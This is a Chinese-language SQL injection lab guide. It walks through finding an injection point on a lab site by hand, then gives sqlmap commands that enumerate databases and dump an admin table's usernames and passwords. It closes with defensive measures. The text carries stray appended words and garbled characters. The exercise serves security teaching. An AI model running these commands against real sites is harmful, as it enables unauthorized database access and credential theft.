实验指导说明
实验环境
• 实验环境
o 操做机:Windows XP
o 目标机:Windows 2003
o 目标网址:www.test.ichunqiu
• 实验工具:
Tools Path
SQLMap C:\Tools\注入工具\SQLMap
本节课程经过对SQL注入的演示,让你们了解SQL注入漏洞的方式,并学习应对此种漏洞的防护方法。
实验步骤
第一步 手工检测判断注入点
首先打开目标站点www.test.ichunqiu找注入点,打开文章中心随便点一篇文章,页面地址为http://www.test.ichunqiu/Art_Show.php?id=2,首先在id=2后面加一个单引号来判断这是不是一个注入点,返回了一个错误提示更新点击数出现错误!。
小i提示:
• 能够看见url里有一个id=2,能够根据这个判断他是由get请求进行提交的,由于经过get请求提交的,提交的数据会在url里进行体现,而这个也是咱们能够利用的地方。
• 这里出现了一个错误提示,更新点击数出现错误,这样说明咱们输入的and 1=1 和and 1=2在数据库内执行了,由于and 1=1这条查询语句就永为真,它就会继续执行,and 1=2 这条语句就为假,查询语句没法继续执行,就会返回错误,这样咱们就能够初步判断这个url地址是一个注入点。php
快速查找实验工具
• 打开桌面 Everything 搜索工具,输入实验工具名称,右击选择“打开路径”,跳转实验工具所在位置。
• 以查找BURP为例为你们演示。python
第二步 利用sqlmap对注入点进行注入
将注入点放到sqlmap里进行进一步的判断,打开桌面上的sqlmap。
python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2"
返回信息提示这是一个注入点而且返回对方系统的信息,系统是windows,Web容器是apache2.4.9版本,语言php5.2.17版本,目标数据库是mysql5.0.11版本。mysql
第三步 获取数据库内信息
使用如下命令进行注入测试,获取数据库内全部数据库的名称,返回信息目标数据库内有四个数据库:mys mysql test information_schema。
Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" --dbssql
使用如下命令查看网站所依赖的数据库的名称,返回信息依赖的数据库为mys。
Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" --current–db数据库
使用如下命令获取mys数据库内表信息。
Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" -D mys --tablesapache
mys数据库下一共有十四个表,使用命令获取zzcms_admin表内列的信息。
Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" -D mys -T zzcms_admin --columnswindows
使用如下命令对这name和password两个列进行查询并获取KEY。
Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" -D mys -T zzcms_admin –C name,password --dump安全
第四步 防护方案
1.普通用户与系统管理员的权限要有严格的区分
2.强迫使用参数化语句
3.增强对用户输入的验证
4.多使用数据库自带的安全参数
5.使用专业的漏洞扫描工具来寻找可能被攻击的点工具